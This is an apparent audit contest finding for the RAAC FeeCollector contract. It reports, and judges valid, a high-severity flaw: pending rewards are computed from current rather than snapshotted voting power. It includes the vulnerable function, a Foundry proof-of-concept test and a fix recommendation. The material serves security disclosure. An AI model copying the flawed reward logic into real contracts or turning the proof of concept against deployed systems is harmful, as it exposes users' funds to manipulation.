Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

FeeCollector pending rewards calculation unsafe voting power usage

Summary

The FeeCollector::_calculatePendingRewards function uses current voting power to calculate pending rewards. This can be manipulated by the user.

Vulnerability Details

In the case where Alice has already claimed her reward, and Bob increases his voting power before claiming his reward, Bob will not be able to claim the reward, since the changed voting power will determine Bob's share as greater than what is available.

/contracts/core/collectors/FeeCollector.sol

function _calculatePendingRewards(address user) internal view returns (uint256) {
# here current voting power is used
@> uint256 userVotingPower = veRAACToken.getVotingPower(user);
if (userVotingPower == 0) return 0;
# here current total voting power is used
@> uint256 totalVotingPower = veRAACToken.getTotalVotingPower();
if (totalVotingPower == 0) return 0;
uint256 share = (totalDistributed * userVotingPower) / totalVotingPower;
return share > userRewards[user] ? share - userRewards[user] : 0;
}

PoC (foundry)

// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
import {Test} from "forge-std/Test.sol";
import {RAACToken} from "src/core/tokens/RAACToken.sol";
import {veRAACToken} from "src/core/tokens/veRAACToken.sol";
import {FeeCollector} from "src/core/collectors/FeeCollector.sol";
contract FeeCollectorTestVotingPowerChange is Test {
RAACToken public raacToken;
veRAACToken public veToken;
FeeCollector public feeCollector;
function setUp() public {
raacToken = new RAACToken(address(this), 0, 0);
raacToken.setMinter(address(this));
veToken = new veRAACToken(address(raacToken));
feeCollector = new FeeCollector(
address(raacToken),
address(veToken),
makeAddr("treasury"),
makeAddr("repairFund"),
address(this));
raacToken.manageWhitelist(address(feeCollector), true);
raacToken.manageWhitelist(address(veToken), true);
raacToken.manageWhitelist(address(this), true);
}
function test_votingPowerChange() public {
address alice = makeAddr("alice");
address bob = makeAddr("bob");
// set up feecollector and vetoken
raacToken.mint(address(this), 1000);
raacToken.mint(alice, 1000);
raacToken.mint(bob, 2000);
// set 2 users as ve holders
vm.startPrank(alice);
raacToken.approve(address(veToken), 1000);
veToken.lock(1000, 365 days);
vm.stopPrank();
vm.startPrank(bob);
raacToken.approve(address(veToken), 2000);
veToken.lock(1000, 365 days);
vm.stopPrank();
// collect fees
raacToken.approve(address(feeCollector), 1000);
feeCollector.collectFee(1000, 0);
// distribute fees
feeCollector.distributeCollectedFees();
// claim alice rewards
feeCollector.claimRewards(alice);
// change voting power
vm.prank(bob);
veToken.increase(1000);
// claim bob rewards
// it will fail!
feeCollector.claimRewards(bob);
}
}

Impact

This vulnerability can be used to manipulate the rewards distribution.

Recommendations

Store timestamp when rewards were distributed and use it to query the user's and total voting power at that moment.

Updates

Lead Judging Commences

inallhonesty Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Time-Weighted Average Logic is Not Applied to Reward Distribution in `FeeCollector`

inallhonesty Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Time-Weighted Average Logic is Not Applied to Reward Distribution in `FeeCollector`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.